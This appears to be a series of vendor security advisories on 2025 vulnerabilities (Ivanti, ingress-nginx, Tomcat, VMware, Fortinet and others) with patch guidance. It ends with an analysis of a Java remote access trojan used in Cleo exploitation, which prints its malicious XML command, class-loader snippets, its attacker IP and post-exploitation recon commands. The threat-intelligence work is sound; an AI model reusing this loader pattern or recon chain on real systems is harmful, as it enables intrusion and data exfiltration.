On Thursday, April 3, 2025, Ivanti disclosed a critical severity vulnerability affecting Ivanti Connect Secure, Pulse Connect Secure, Policy Secure, and ZTA Gateways. CVE-2025-22457 is a stack-based buffer overflow vulnerability that allows remote, unauthenticated attackers to execute code on the target device. Ivanti’s advisory indicates that CVE-2025-22457 is known to be exploited in the wild; Google’s Mandiant division attributes this activity to suspected China-nexus actors.
Ivanti’s advisory indicates that the vulnerability was “initially identified as a product bug” and patched in Ivanti Connect Secure version 22.7R2.6 (released February 11, 2025). Per Mandiant, CVE-2025-22457 is “a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability.” However, on April 3, Ivanti publicly acknowledged known exploitation in the wild of supported Ivanti Connect Secure and End-of-Support Pulse Connect Secure appliances for remote code execution in some customer environments.
Mitigation guidance
The following products and versions are vulnerable to CVE-2025-22457:
Ivanti Connect Secure 22.7R2.5 and prior
Pulse Connect Secure (End-of-Support) 9.1R18.9 and prior
Ivanti Policy Secure 22.7R1.3 and prior
ZTA Gateways 22.8R2 and prior
Ivanti has a full table of affected versions and corresponding solution estimates in their advisory.
A patch is available (initially released on February 11, 2025) for CVE-2025-22457 in Ivanti Connect Secure. However, the advisory states that patches for Ivanti Policy Secure and ZTA Gateways will not be available until April 21, 2025 and April 19, 2025, respectively. Pulse Connect Secure 9.1x reached End-of-Support on December 31, 2024 and won’t be patched. For the latest information, please refer to the Ivanti advisory.
Customers should apply the available Ivanti Connect Secure patch immediately, without waiting for a typical patch cycle to occur. Ivanti’s advisory notes that “Customers should monitor their external ICT and look for web server crashes. If your ICT result shows signs of compromise, you should perform a factory reset on the appliance and then put the appliance back into production using version 22.7R2.6.” Notably, ICT results may vary; a factory reset should be performed if exploitation is suspected, regardless of ICT results.
For the latest information, please refer to the vendor advisory.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-22457 in Ivanti Connect Secure with a vulnerability check expected to be available in today’s (April 3, 2025) content release.
On March 24, 2025, Kubernetes disclosed 5 new vulnerabilities affecting the Ingress NGINX Controller for Kubernetes. Successful exploitation could allow attackers access to all secrets stored across all namespaces in the Kubernetes cluster, which could result in cluster takeover.
CVE-2025-1974 (9.8 Critical): RCE escalation. An unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (In the default installation, the controller can access all Secrets cluster-wide.)
CVE-2025-24514(8.8 High): Configuration injection via unsanitized auth-url annotation. In ingress-nginx, the `auth-url` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller.
CVE-2025-1097 (8.8 High): Configuration injection via unsanitized auth-tls-match-cn annotation. The `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller.
CVE-2025-1098 (8.8 High): Configuration injection via unsanitized mirror annotations. The `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller.
CVE-2025-24513 (4.8 Medium): Auth secret file path traversal vulnerability. Attacker-provided data is included in a filename by the ingress-nginx Admission Controller feature, resulting in directory traversal within the container. This could result in denial of service, or when combined with other vulnerabilities, limited disclosure of Secret objects from the cluster.
Of the 5 vulnerabilities disclosed, any one of the injection vulnerabilities (CVE-2025-24514, CVE-2025-1097, CVE-2025-1098) may be chained with CVE-2025-1974 to achieve unauthenticated RCE on the Kubernetes pod that is running a vulnerable Ingress NGINX Controller. Achieving RCE could allow an attacker to take over a Kubernetes cluster. As of March 25, 2025, none of the above CVEs is known to be exploited in the wild.
Ingress is a Kubernetes feature to route HTTP(S) traffic into a Kubernetes cluster. An Ingress Controller is an application responsible for performing the routing. While there are many Ingress Controllers available, the vulnerabilities disclosed on March 24 are specific to the Ingress NGINX Controller, which is an Ingress Controller based upon NGINX.
The original finders of all five vulnerabilities, Wiz, noted that 43% of cloud environments are vulnerable to the issues disclosed, and that they have identified 6,500 clusters with publicly exposed Ingress NGINX Controllers.
As of March 25, 2025 (14:00 pm GMT), there is now one known publicly available RCE exploit for CVE-2025-1974 (here). This exploit is unverified, but based on our understanding of the vulnerability, it appears viable.
Mitigation guidance
All 5 vulnerabilities are reported to affect the following versions of Ingress NGINX Controller:
Versions <= 1.11.4
Version 1.12.0
Notably, the Wiz advisory says that CVE-2025-24514 does not affect version 1.12.0, but the vendor indicates that the issue does affect 1.12.0.
Customers who use the Ingress NGINX Controller for Kubernetes are advised to update to the following versions immediately:
Version 1.11.5
Version 1.12.1
Rapid7 customers
With the latest Kubernetes Cluster Scanner (expected to be available Wednesday, March 26), InsightCloudSec customers will have the ability to discover Kubernetes workloads that have this vulnerability in their cluster. The discovery will be shown via the insights pack with a new insight called Publicly exposed vulnerable Ingress NGINX Admission. The insight will also include the remediation steps needed in order to resolve this vulnerability.
Rapid7 is warning customers of notable vulnerabilities in Next.js, a React framework for building web applications, and CrushFTP, a file transfer technology that has previously been targeted by adversaries.
CVE-2025-29927 is a critical improper authorization vulnerability in Next.js middleware that could (theoretically) allow an attacker to bypass authorization checks in a Next.js application, if the authorization check occurs in middleware.
No CVE has been assigned (as of March 25, 2025) to an unauthenticated HTTP(S) port access vulnerability in CrushFTP file transfer software
Neither of the above vulnerabilities is known to have been exploited in the wild as of Tuesday, March 25, 2025. CrushFTP has previously been exploited in the wild for adversary access to (and exfiltration of) sensitive data.
CrushFTP unauthenticated HTTP(S) port access vulnerability (no CVE)
On Friday, March 21, 2025, file transfer software maker CrushFTP disclosed a new vulnerability to customers via email:
Note: While the email image above indicates only CrushFTP v11 is affected by the still-CVE-less (as of March 25) unauthenticated port access vulnerability, the extremely sparse vendor advisory indicates that both CrushFTP v10 and v11 are affected. According to the vendor, the issue is not exploitable if customers have the DMZ function of CrushFTP in place.
Mitigation guidance: File transfer technologies are high-value targets for ransomware and other adversaries looking to quickly gain access to and exfiltrate sensitive data.Per the email sent to CrushFTP customers on Friday, March 21, the vulnerability is fixed in CrushFTP v11.3.1 (and later). Customers should update immediately, without waiting for a regular patch cycle to occur.
Next.js CVE-2025-29927
CVE-2025-29927 stems from logic associated with how middleware is handled by the application — specifically, an attacker can provide a header in any request to bypass application middleware. Application middleware can perform any number of tasks, and it can stack so that multiple layers of middleware can be configured, with each able to modify the request/response passed to it. Common use cases of middleware include authentication/authorization, CSP validation, URL rewriting/redirection etc.
As the vulnerability affects an application framework, and the application middleware configuration can vary greatly, so too does the potential impact of exploiting the vulnerability. Based on Rapid7’s analysis, there is no ‘one-size-fits-all’ determination of risk/impact for CVE-2025-29927 (which is a common scenario for framework and library vulns). The most severe potential impact likely comes in the form of authentication bypass, but would still be highly application-dependent — the impact of bypassing authentication for a hobbyist “To do list” application is very different from theoretically bypassing authentication in an enterprise application utilising Next.js.
Organizations should consider whether their applications are relying solely on the middleware for authentication. It may be that the application uses middleware, but is just acting as a front end to back-end APIs that are dealing with server-side authentication logic. Bypassing the front-end Next.js middleware would not affect the back end’s ability to authenticate users.
As an example of how a more measured view can change the outlook, a Red Hat advisory for CVE-2025-29927 originally listed two products as affected: Red Hat Trusted Artifact Signer and Streams for Apache Kafka 2. Now these have been removed and classified as “Not affected,” presumably following further review. The advisory was updated with the following: “Red Hat Trusted Artifact Signer and Streams for Apache Kafka 2 are not affected by this vulnerability as they do not use Next.js for any authorization functionality.”
Mitigation guidance: Per the Next.js advisory, CVE-2025-29927 affects the following versions of Next.js:
>= 13.0.0, < 13.5.9 (fixed in 13.5.9)
>= 14.0.0, < 14.2.25 (fixed in 14.2.25)
>= 15.0.0, < 15.2.3 (fixed in 15.2.3)
>= 11.1.4, < 12.3.5 (fixed in 12.3.5)
Rapid7 customers
InsightVM and Nexpose customers who run CrushFTP on Linux can assess their exposure to the no-CVE unauthenticated HTTP(S) port access issue with a vulnerability check available in the Friday, March 21 content release.
Our InsightVM coverage team is assessing the feasibility of adding a vulnerability check for Next.js CVE-2025-29927. We will update this blog with further information no later than 6 AM ET on Wednesday, March 26, 2025.
On Wednesday, March 19, 2025, backup and recovery software provider Veeam published a security advisory for a critical remote code execution vulnerability tracked as CVE-2025-23120. The vulnerability affects Backup & Replication systems that are domain joined. Veeam explicitly mentions that domain-joined backup servers are against security and compliance best practices, but in reality, we believe this is likely to be a relatively common configuration.
Veeam’s advisory indicates that the vulnerability is authenticated, though the CVSS score for CVE-2025-23120 is listed as 9.9. The advisory itself states that “authenticated domain users” can exploit the vulnerability but says little else — it’s possible that additional exploitation criteria will be published later on. According to Veeam, all supported versions of Backup & Replication are affected.
No public proof-of-concept exploit has been released (at time of this blog’s publication). Veeam Backup & Replication has a very large deployment footprint, and backup solutions are commonly targeted by threat actors. Veeam Backup & Replication should not be exposed to the internet and makes for a more effective internal attack vector than an external vector. Still, plenty of previous Veeam Backup & Replication vulnerabilities have been exploited in the wild, including by ransomware groups.
As we have mentioned previously, more than 20% of Rapid7 incident response cases in 2024 involved Veeam being accessed or exploited in some manner, typically once an adversary has already established a foothold in the target environment.
Mitigation guidance
Veeam Backup & Replication 12.3.0.310 and all earlier version 12 builds are vulnerable to CVE-2025-23120, per the vendor advisory.
Customers should update to the latest version of the software (12.3 build 12.3.1.1139) immediately, without waiting for a regular patch cycle to occur. Per the vendor, unsupported software versions were not tested but should be considered vulnerable.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-23120 with a vulnerability check expected to be available in tomorrow’s (Thursday, March 20) content release.
Here at Rapid7, our usual bar for calling a vulnerability an emergent threat is either known exploitation at scale, or likelihood of exploitation at scale. Apache Tomcat CVE-2025-24813 fulfills neither of these criteria, despite a variety of news headlines alleging broad exploitation in the wild. Tomcat is widely deployed and has seen a number of severe vulnerabilities over the years that have had specific configuration dependencies for successful exploitation — this one follows the same pattern.
TL;DR: Patch, but there’s no need to panic. Here’s what you need to know:
CVE-2025-24813 is an unauthenticated remote code execution vulnerability in Apache Tomcat’s partial PUT feature disclosed on March 10, 2025. Fixed versions are available.
Under specific circumstances, successful exploitation allows attackers to execute code remotely on target systems via unsafe deserialization.
Vulnerability details and proof-of-concept (PoC) exploit code are both publicly available.
Based on our analysis and those of other research firms, the conditions required for successful exploitation appear to be specific, non-default, and uncommon.
CVE-2025-24813 has reportedly been exploited in the wild; however, Rapid7 has been unable to confirm any successful exploitation occurring against real-world production environments. We assess that “exploitation” in this context likely means unsuccessful exploit attempts rather than successful compromise of production systems.
Broad exploitation is unlikely given the specific vulnerable configuration requirements (see Exploitability requirements below).
Rapid7 researchers have tested publicly available PoC code and investigated the conditions Apache indicated were required for exploitation. Like other researchers, our team found that the vendor’s exploitable configuration information differs from what we observed during testing. Additionally, our team assessed the exploitable configuration to be relatively uncommon. Based on a GitHub code search query, only a small number of open-source Tomcat projects published publicly on GitHub are using write-enabled default servlet configurations (a pre-requisite for exploitation) — approximately 200, and most have fewer than 30 stars. Rapid7’s vulnerability research team has a full testing report here.
Exploitability requirements
Per the advisory, an attacker could view security sensitive files and/or inject content into those files if ALL of the following were true:
writes enabled for the default servlet (disabled by default)
support for partial PUT (enabled by default)
a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)
attacker knowledge of the names of security sensitive files being uploaded (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)
the security sensitive files also being uploaded via partial PUT (ed: Rapid7 and other researchers found this to be unnecessary for exploitation)
An attacker could achieve remote code execution if ALL of the following were true:
writes enabled for the default servlet (disabled by default)
support for partial PUT (enabled by default)
application was using Tomcat’s file-based session persistence (ed: disabled by default) with the default storage location
application included a library that may be leveraged in a deserialization attack (ed: this is the case for many Java applications)
Mitigation guidance
The following versions of Apache Tomcat are affected:
Apache Tomcat 11.0.0-M1 to 11.0.2 (fixed in 11.0.3 or later)
Apache Tomcat 10.1.0-M1 to 10.1.34 (fixed in 10.1.35 or later)
Apache Tomcat 9.0.0.M1 to 9.0.98 (fixed in 9.0.99 or later)
For the latest information, please see the Apache Software Foundation’s advisory.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2025-24813 with pre-existing vulnerability checks.
On Tuesday, March 4, 2025, Broadcom published a critical security advisory (VMSA-2025-0004) on 3 new zero-day vulnerabilities affecting multiple VMware products, including ESXi, Workstation, and Fusion. The most severe of the vulnerabilities is CVE-2025-22224, a critical vulnerability in ESXi and Workstation. Notably, these are not remotely exploitable vulnerabilities — they require an attacker to have existing privileged access on a VM that is running on an affected VMware hypervisor.
CVE-2025-22224 (CVSS 9.3): A Time-of-Check Time-of-Use (TOCTOU) vulnerability in VMware ESXi and Workstation that can lead to an out-of-bounds write condition. An attacker with local administrative privileges on a virtual machine could exploit this issue to execute code as the virtual machine’s VMX process running on the host.
CVE-2025-22225 (CVSS 8.2): An arbitrary write vulnerability in VMware ESXi that allows an attacker with privileges within the VMX process to trigger an arbitrary kernel write leading to an escape of the sandbox.
CVE-2025-22226 (CVSS 7.1): An information disclosure vulnerability in VMware ESXi, Workstation, and Fusion that arises from an out-of-bounds read in the Host Guest File System (HGFS). An attacker with administrative privileges to a virtual machine could exploit this issue to leak memory from the VMX process.
Broadcom has published an FAQ with additional information for VMware customers.
All 3 vulnerabilities were reported to Broadcom by Microsoft Threat Intelligence Center. Broadcom’s advisory indicates for all 3 CVEs that Broadcom “has information to suggest that exploitation has occurred in the wild.” Shortly after Broadcom published their advisory, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added all 3 CVEs to the Known Exploited Vulnerabilities (KEV) list.
Based on the information in the advisory, it appears that the 3 vulnerabilities can be chained together: “This is a situation where an attacker who has already compromised a virtual machine’s guest OS and gained privileged access (administrator or root) could move into the hypervisor itself.”
There is no known publicexploit code for any of the CVEs at time of publication. Nevertheless, given that ESXi hypervisors are popular targets for both financially motivated and state-sponsored adversaries, Rapid7 recommends applying vendor-supplied fixes on an expedited basis.
Affected products
The following products are vulnerable to CVE-2025-2224, CVE-2025-22225, and CVE-2025-2226:
Broadcom VMware ESXi 7.0 and 8.0
Broadcom VMware Cloud Foundation 4.5.x and 5.x
Broadcom VMware Telco Cloud Platform 5.x, 4.x, 3.x, and 2.x
Broadcom VMware Telco Cloud Infrastructure 3.x and 2.x
The following products are vulnerable to CVE-2025-22224 and CVE-2025-22226:
Broadcom VMware Workstation 17.x
The following product is vulnerable to CVE-2025-22226:
Broadcom VMware Fusion 13.x
For the most complete information on affected and fixed versions, see Broadcom’s advisory and FAQ.
Rapid7 customers
InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-22224, CVE-2025-22225, and CVE-2025-22226 on Broadcom VMware ESXi hypervisors, Fusion, and Workstation products with vulnerability checks expected to be available in today’s (Tuesday, March 4) content release.
Rapid7 is investigating two separate events affecting Fortinet firewall customers:
Zero-day exploitation of CVE-2024-55591, an authentication bypass vulnerability in FortiOS and FortiProxy disclosed earlier this week. Successful exploitation could allow remote attackers to gain super-admin privileges via crafted requests to the Node.js websocket module.
A January 15, 2025 dark web post from a threat actor who looks to have published IPs, passwords, and configuration data from 15,000 FortiGate firewalls. The data leaked online appears to be several years old (2022). Rapid7 has not attributed any CVEs to the leaked data at this time.
FortiGate data leak
On Wednesday, January 15, 2025, a threat actor named “Belsen Group” published a trove of Fortinet FortiGate firewall data on the dark web, allegedly from 15,000 organizations. The data released included IP addresses, passwords, and firewall configuration information — a potentially significant risk for organizations whose data was leaked.
Security researcher Kevin Beaumont has an initial analysis of the leaked data, along with his assessment that the data leaked this week appears to be from 2022. After conducting our own outreach to potentially affected organizations, Rapid7 has also confirmed that at least some of the leaked data originated from 2022 incidents where customer firewalls were compromised. Based on Beaumont’s analysis and observations from our own investigations, it’s likely that the data dump published by the threat actor contains primarily or entirely older data.
Rapid7 has not attributed the data leak to a specific CVE at this time. Beaumont said his observations from incident responses indicate that CVE-2022-40684 (a Fortinet firewall zero-day flaw from 2022) may have been the initial access vector that allowed for the large-scale firewall data leak.
New Fortinet zero-day CVE also exploited in the wild
Separately, on Tuesday, January 14, 2025, Fortinet disclosed CVE-2024-55591, a new zero-day vulnerability affecting FortiOS and FortiProxy. Security firm Arctic Wolf had previously published a blog on threat activity targeting Fortinet firewall management interfaces exposed to the public internet, saying that “a zero-day vulnerability is likely” but an initial access vector had not been confirmed. According to Arctic Wolf, the campaign “involved unauthorized administrative logins on management interfaces of firewalls, creation of new accounts, SSL VPN authentication through those accounts, and various other configuration changes.”
Fortinet’s advisory for CVE-2024-55591 includes indicators of compromise (IOCs) and notes that the vulnerability was reported as exploited in the wild at time of disclosure. No individual or firm is explicitly credited for discovering the vulnerability in Fortinet’s advisory, and Fortinet has not confirmed that CVE-2024-55591 is the zero-day vulnerability Arctic Wolf speculated was being leveraged threat activity.
Rapid7 MDR threat hunters have observed activity from IP addresses publicly attributed to the threat campaign targeting CVE-2024-55591, but our team has so far only noted connections consistent with scanning or reconnaissance activity and not exploitation.
Zero-day vulnerabilities in Fortinet FortiOS, the operating system that runs on FortiGate firewalls, have been a relatively common occurrence in recent years and have been leveraged in a wide range of financially motivated, state-sponsored, and other attacks. In addition to CVE-2024-55591, prominent FortiOS zero-day flaws have included:
CVE-2018-13379, while not a zero-day, was disclosed in 2019 and allowed attackers to download SSL-VPN system files and steal credentials. It was consistentlyexploited in the years following disclosure despite a wide range of warnings and publicly available information on known threat activity.
Like CVE-2022-40684, CVE-2024-55591 is an authentication bypass using an alternate path or channel (CWE-288). While it does not currently appear likely that CVE-2024-55591 is the vulnerability that enabled the collection and release of FortiGate firewall configuration data on January 15, 2025, the vulnerability is nevertheless being exploited in the wild and should be treated with urgency.
Mitigation guidance
According to Fortinet’s advisory, the following products and versions are vulnerable to CVE-2024-55591:
Fortinet FortiOS 7.0.0 through 7.0.16 (fixed in 7.0.17 or above)
Fortinet FortiProxy 7.2.0 through 7.2.12 (fixed in 7.2.13 or above)
Fortinet FortiProxy 7.0.0 through 7.0.19 (fixed in 7.0.20 or above)
Per Fortinet, other versions of FortiOS (6.4, 7.2, 7.4, 7.6) and FortiProxy (2.0, 7.4, 7.6) are not affected. Customers should update to a fixed version immediately, without waiting for a regular patch cycle to occur, and review Fortinet’s IOCs to aid investigations into suspicious activity. Indicators include examples of administrative or local users added by adversaries.
Customers should also ensure that firewall management interfaces are not exposed to the public internet and limit IP addresses that can reach administrative interfaces. If your organization was impacted by the January 15, 2025 FortiGate firewall data leak, you should change administrative and local user passwords immediately. FortiOS also supports multi-factor authentication (MFA) for local user accounts, which Rapid7 strongly recommends implementing.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2024-55591 with vulnerability checks available in the January 15, 2025 content release. Customers already have coverage for all other FortiOS vulnerabilities mentioned in this blog from past content releases.
On Wednesday, January 8, 2025, Ivanti disclosed two CVEs affecting Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. CVE-2025-0282 is a stack-based buffer overflow vulnerability that allows remote, unauthenticated attackers to execute code on the target device. CVE-2025-0283 is a stack-based buffer overflow that allows local authenticated attackers to escalate privileges on the device.
Ivanti’s advisory indicates that CVE-2025-0282 has been exploited in the wild against a limited number of Connect Secure devices. Per the vendor, Ivanti Policy Secure and Neurons for ZTA are not known to have been exploited in the wild at time of disclosure. Google’s Mandiant division and Microsoft’s Threat Intelligence Center (MSTIC) are credited with the discovery of the two issues, which almost certainly means further intelligence will be released soon on one or more zero-day threat campaigns targeting Ivanti devices.
Ivanti also has a short blog available on the new CVEs here.
Mitigation guidance
The following products and versions are vulnerable to CVE-2025-0282:
Ivanti Connect Secure 22.7R2 through 22.7R2.4
Ivanti Policy Secure 22.7R1 through 22.7R1.2
Ivanti Neurons for ZTA 22.7R2 through 22.7R2.3
The following products and versions are vulnerable to CVE-2025-0283:
Ivanti Connect Secure 22.7R2.4 and prior, 9.1R18.9 and prior
Ivanti Policy Secure 22.7R1.2 and prior
Ivanti Neurons for ZTA 22.7R2.3 and prior
Ivanti has a full table of affected versions and corresponding solution estimates in its advisory. As of 1 PM ET on Wednesday, January 8, patches are available for both CVEs in Ivanti Connect Secure (22.7R2.5), but the CVEs are unpatched in Ivanti Policy Secure and Neurons for ZTA (patches appear to be expected January 21, 2025, per the advisory).
Customers should apply available Ivanti Connect Secure patches immediately, without waiting for a typical patch cycle to occur. Ivanti’s advisory notes that “Exploitation of CVE-2025-0282 can be identified by the Integrity Checker Tool (ICT). We strongly advise all customers to closely monitor their internal and external ICT as a part of a robust and layered approach to cybersecurity to ensure the integrity and security of the entire network infrastructure.”
For the latest information, please refer to the vendor advisory.
Rapid7 customers
Our VM engineering team is researching options for coverage of CVE-2025-0282 and CVE-2025-0283 in Ivanti Connect Secure and expects vulnerability checks to be available to InsightVM and Nexpose customers no later than Thursday, January 9, 2025.
Many thanks to Rapid7 MDR and incident response teams for their contributions to this analysis.
While investigating incidents related to Cleo software exploitation, Rapid7 Labs and MDR observed a novel, multi-stage attack that deploys an encoded Java Archive (JAR) payload. Our investigation revealed that the JAR file was part of a modular, Java-based Remote Access Trojan (RAT) system. This RAT facilitated system reconnaissance, file exfiltration, command execution, and encrypted communication with the attacker’s command-and-control (C2) server. Its modular architecture includes components for dynamic decryption, network management, and staged data transfer.
It’s worthwhile to note that this isn’t necessarily the only payload that has or will be deployed in attacks targeting Cleo software — it’s entirely possible an alternate payload could be leveraged. This underscores the importance of timely detection and response capabilities, as well as the critical role of monitoring assets that may be impacted by unknown zero-day threats.
At a high level, the attack flow can be visualized like so:
As Huntress pointed out in their blog on this threat campaign, part of the attack chain involves uploading and executing an XML file as part of a ZIP. When analyzing the XML file that contains the PowerShell code, we looked at the code to understand how the code would trigger in line with the known CVE (CVE-2024-50623) and the new CVE (still pending) for the unauthenticated malicious hosts vulnerability in Cleo software.
The XML snippet appears to define a “Host” and “Mailbox” configuration in Cleo Integration Suite (e.g., Harmony, VLTrader, or LexiCom). Cleo software often uses XML-based configuration files for trading partner setups, hosts, mailboxes, and scheduled actions or commands. Each <Host> element represents a communication endpoint, and each <Mailbox> often represents a sub-endpoint or logical folder.
The <Action> elements define which tasks (commands, scripts, or transfers) should be performed. Looking at the code of our XML, we observed a suspicious element.
Under <Mailbox> there is an <Action> element with actiontype=”Commands”. Inside this action, there’s a <Commands> tag that runs:
SYSTEM cmd.exe /c "powershell -NonInteractive -EncodedCommand <base64_data>" > webserver/temp/webserver-<GUID>.swp
The <Commands> directive is invoking cmd.exe which runs PowerShell with an encoded command. The command is outputting to a .swp file, possibly to hide or store results locally.
By embedding this script within the <Action> element of the XML, if the CLEO system imports this configuration and executes the defined action by combining the vulnerability mentioned in CVE-2024-50623, the malicious code will run on the server. This could completely compromise the system running CLEO, given that CLEO often runs with significant privileges and access to internal systems and file shares.
Analyzing the malicious PowerShell script content
The script in question was originally invoked as remote code execution (RCE) during suspected CVE-2024-50623 exploitation:
This is a common technique used by attackers to obfuscate their malicious code. Decoding the Base64 string reveals a PowerShell snippet that:
Establishes a TCP connection to a suspicious external host (185.181.230.103) on port 443. (See additional external host indicators in the IOCs section.)
Retrieves and decrypts data from the remote server using a custom XOR-based routine.
Writes the decrypted output as a JAR file named cleo.2853.
Executes the malicious JAR using the embedded Java runtime of Cleo LexiCom (jre\bin\java.exe -jar cleo.2853).
Step-by-step analysis
Network connection setup The script begins by creating a Net.Sockets.TcpClient object and connecting it to the remote server:
A StreamWriter $w is then created, allowing the script to send initial data to the server. The malware sends the “TLS v3 <string.>” and processes the response. This serves as a form of handshake or protocol initialization.
2. XOR decryption setup Before reading any payload from the server, the script sets up key variables for decrypting data:
It continuously reads data from the remote server into $a.
For each byte, it calculates an index $j into $k (cycling through the key bytes).
It XORs the received byte with $k[$j] and a running state variable $g.
$g and $k[$j] evolve dynamically, meaning the key changes with every byte processed, making static detection harder.
Decrypted bytes are then written directly into the file cleo.2853.
The number behind the “cleo.*” differs in the cases we observed. By the end of this loop, the attacker’s encrypted payload is stored locally as a decrypted file.
4. Final steps: Executing the malicious JAR After fetching and decrypting the data, the script closes all streams and sets some environment variables:
The $env:QUERY variable appears to include additional IP addresses and contains the AES key used to decrypt the next stage and the string to send to the C2 server to receive the next payload. Finally, the script runs the malicious JAR file:
This leverages the Cleo environment’s embedded Java runtime. Since Cleo’s file transfer products come bundled with their own Java environment, the attackers don’t need to rely on a system-wide installation — they can simply run their malicious JAR directly. In one of our IR cases, the “cleo.xxxx” file was written to the C:\VLTrader\ directory.
Inside the JAR file The core functionality revolves around a custom class loader named “start”.
Instead of loading classes from the file system, this loader accepts a byte array representing a compressed archive of class files. It then extracts each entry and stores them in a map, ready to be defined as Java classes on demand.
What does this custom class loader do?
Extracts classes from a byte array: The constructor of the start class takes a byte array (like a JAR) and reads the class using a ZipInputStream. Each entry is unpacked and stored in a map keyed by the entry name. For example:
ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(byteArray));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int read;
while ((read = zis.read(buffer)) > 0) {
bos.write(buffer, 0, read);
}
cs.put(entry.getName(), bos.toByteArray());
}
Defining Classes at Runtime: Later, when a class is requested, the findClass method checks the map. If found, it uses defineClass to load that class directly from the in-memory bytes:
if (cs.containsKey(className)) {
byte[] classData = (byte[]) cs.get(className);
return defineClass(className, classData, 0, classData.length);
2. Fetches and decrypts class data remotely. The main method doesn’t just run local code — it also does the following:
Reads configuration and keys from environment variables.
Connects to a remote host over port 443 and sends a “TLS v3” handshake-like message.
Receives encrypted data, which it then decrypts using AES keys derived from the environment-provided values.
Once decrypted, this data is treated like a JAR file, passed into a new start instance, and thus new classes are loaded at runtime.
3. Executes a specific class (Cli): With the new classes loaded, the code uses reflection to instantiate a particular class named “Cli” and invoke its constructor.
This mechanism allows the JAR to remain small and stealthy, as it doesn’t contain all its logic up front. Instead, it fetches critical code at runtime, decrypts it, and executes it dynamically. But it didn’t stop here — after executing this first JAR file, which acts as a loader, it downloads a zip file that contains multiple JAR files:
File name
MD5
Cli
fa0ffca3597af31fc196ca27283aa038
Dwn
510a7fa9d425f1c3a38ad81d813b3f17
DwnLevel
7dcaffc9c26fe9e08e9b66e05c644cfc
Mos
ee7acd7a8a5795308942f094c950de6f
Proc
37a761f4d02577cf6789676f87cb9fc6
ScSlot
6ff85e7bec211869073b969dbd10c8eb
SFile
ca3de6f055f94acc87c6d335d9cc5c04
Slot
d924ffd1f2952a03da29c0a7a33e6a54
SrvSlot
bcc1bf75e0be3efabbd616cc8cfa8c35
Overall this is how the modules work together and what their function is:
The Cli class appears to be a key component of a remote backdoor mechanism. On startup, it determines the operating system and sets flags accordingly before attempting to connect to a remote host over port 443 using Java’s non-blocking I/O. Once connected, it can manage data streams via asynchronous event loops, handle received data, and potentially issue commands. After initialization, the code instructs the system to delete its own initial file to remove evidence of its presence.
In Rapid7 MDR investigations into exploitation of Cleo software, we observed commands being executed that we would categorize as reconnaissance attempts.
The DWN class appears to facilitate the packaging and transmission of files from the local system to a remote server. It assembles files (and directories) into a ZIP archive on the fly, splitting them into multiple ZIP chunks if they exceed a certain size threshold. Using a SrvSlot reference, it sends compressed file data over a network channel, carefully managing buffers and limiting throughput to avoid overwhelming the connection. The code iterates through directories, queues files, and processes them incrementally, updating statistics and retrying if conditions are not ideal. Through this mechanism, this class effectively automates and streamlines the mass transfer of local files, hinting at a data exfiltration or remote backup process. It’s designed to run quietly in the background, handle large file sets, and provide periodic progress updates to its server counterpart.
The DwnLevel class is a simple helper structure that represents a single level in a file traversal hierarchy. It holds an array of file objects, along with an index and a state variable to track the current processing position. As the Dwn class iterates through directories, the DwnLevel Java class instance keeps track of which files have been processed and which remain, helping the file packaging and transfer process proceed smoothly through potentially nested directories.
The Mos class acts as a custom output stream for sending ZIP data through Dwn. Instead of writing to disk, it buffers data in memory, attaches metadata like the job ID and packet offsets, and then hands the chunks off to Dwn to send out. This setup allows code that writes ZIP entries to operate as if it were writing to a normal output stream, while the Mos and Dwn classes handle the network transmission details behind the scenes.
Proc is a thread that runs external commands on the system, captures their output, and sends it back through SrvSlot. It can launch interactive shells, parse configuration files, and handle input given before the process starts.
In the code of this class, we also can discover that it is cross platform designed, either executing a cmd (Windows) or bash (*nix) shell:
ScSlot manages a network connection for a specific channel. It handles connecting, reading data, and relaying it to the SrvSlot class. If the connection fails or no data is received, it signals the server to close the channel. Its tick method processes incoming data in chunks to ensure smooth communication.
The SFile class handles file reading and writing operations. It can both read from an existing file or write to a new file, depending on the flags provided. The class tracks the file size, saved size and handles errors by setting status messages.
The Slot class manages the network connection using the Java network IO class. It handles connecting, reading, and writing, ensuring a smooth data transfer.
Last but not least, since it is a core component of this Java RAT, is the SrvSlot class. It interacts with other classes as described before and is the central node for handling encrypted communications and data transfer — it handles the ZIP transfer traffic. Besides traffic handling, a small component in the code of this class appears to be for debugging purposes (i.e., providing diagnostics and session statistics).
Overall this set of Java classes provide a modular multi-stage system (Java-RAT) designed to communicate with a C2, has file-transfer and management functionality, can execute commands and applies packet level encryption/decryption.
In multiple attack chains, after initial exploitation, the adversary executed the following enumeration commands via cmd to gather user, group and system information from the impacted system and display domain trust relationships.
systeminfo
net group /domain
whoami
wmic logicaldisk get name,size
nltest /domain_trusts
Rapid7 also observed post-exploitation activity in the form of an "OverPass-The-Hash" attack, in which the adversary leverages the NTLM hash of an account to obtain a Kerberos ticket that can be used to access additional network resources within the impacted environment.
MITRE ATT&CK Enterprise Techniques
Initial access
Exploit Public-Facing Application (T1190)
Execution
Command and Scripting Interpreter (T1059)
Discovery
System Owner/User Discovery (T1033)
System Information Discovery (T1082)
Domain Trust Discovery (T1482)
Permission Groups Discovery (T1069)
